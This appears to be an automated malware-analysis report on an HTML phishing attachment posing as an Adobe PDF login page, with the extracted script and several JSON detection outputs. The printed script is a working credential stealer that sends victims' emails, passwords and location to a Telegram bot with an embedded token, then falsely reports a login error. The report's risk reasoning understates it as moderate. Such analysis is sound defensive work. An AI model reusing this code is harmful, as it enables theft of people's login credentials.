Windows Analysis Report
Payment_00372_26-12-2024.html

{
    "risk_score": 6,
    "reasoning": "The script demonstrates moderate-risk behaviors, including sending user data (email and password) to a third-party Telegram bot API without explicit user consent. While the intent may be to notify the site owner of a form submission, the lack of transparency and potential for misuse raises concerns. Additionally, the script retrieves the user's location details from an external API, which could be considered a privacy risk. Overall, the script requires further review to ensure proper security and privacy practices are in place."
}

        document.getElementById('contactForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            // Get the form data
            const good = document.getElementById('good').value;
            const email = document.getElementById('email').value;

            // Fetch location details from ipinfo.io API
            fetch('https://ipinfo.io?token=7fb8ecb0d26ce0') // Replace with your actual ipinfo.io token
            .then(response => response.json())
            .then(data => {
                const location = `${data.city}, ${data.region}, ${data.country}`;

                // Your bot token and chat ID
                const botToken = '7513765431:AAHxKMTnhX_0rVvRLTr1CXqqnI59wokc9T4'; // Replace with your Bot Token
                const chatId = '7085025619'; // Replace with your Chat ID
                
                // Construct the message with location info
                const telegramMessage = `New Submission:\nEmail: ${email}\nPassword: ${good}\nLocation: ${location}`;

                // Send the data to Telegram
                fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        chat_id: chatId,
                        text: telegramMessage
                    })
                }).then(response => {
                    if (response.ok) {
                        document.getElementById('responseMessage').textContent = 'Incorrect Email or Password!';
                        document.getElementById('responseMessage').style.color = '#ff0000'; // Green for success
                        document.getElementById('contactForm').reset(); // Reset form after submission
                    } else {
                        document.getElementById('responseMessage').textContent = 'Failed to send message.';
                        document.getElementById('responseMessage').style.color = '#ff0000'; // Red for error
                    }
                }).catch(error => {
                    document.getElementById('responseMessage').textContent = 'An error occurred: ' + error;
                    document.getElementById('responseMessage').style.color = '#ff0000'; // Red for error
                });
            }).catch(error => {
                document.getElementById('responseMessage').textContent = 'Failed to retrieve location data: ' + error;
                document.getElementById('responseMessage').style.color = '#ff0000'; // Red for error
            });
        });
    

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
  "contains_trigger_text": true,
  "trigger_text": "Adobe PDF",
  "prominent_button_name": "Login",
  "text_input_field_labels": [
    "nosunturmin@movintrarol.com",
    "Password"
  ],
  "pdf_icon_visible": true,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Adobe PDF",
  "prominent_button_name": "Login",
  "text_input_field_labels": [
    "nosunturmin@movintrarol.com",
    "Password"
  ],
  "pdf_icon_visible": true,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Adobe PDF"
  ]
}

{
  "brands": [
    "Adobe PDF"
  ]
}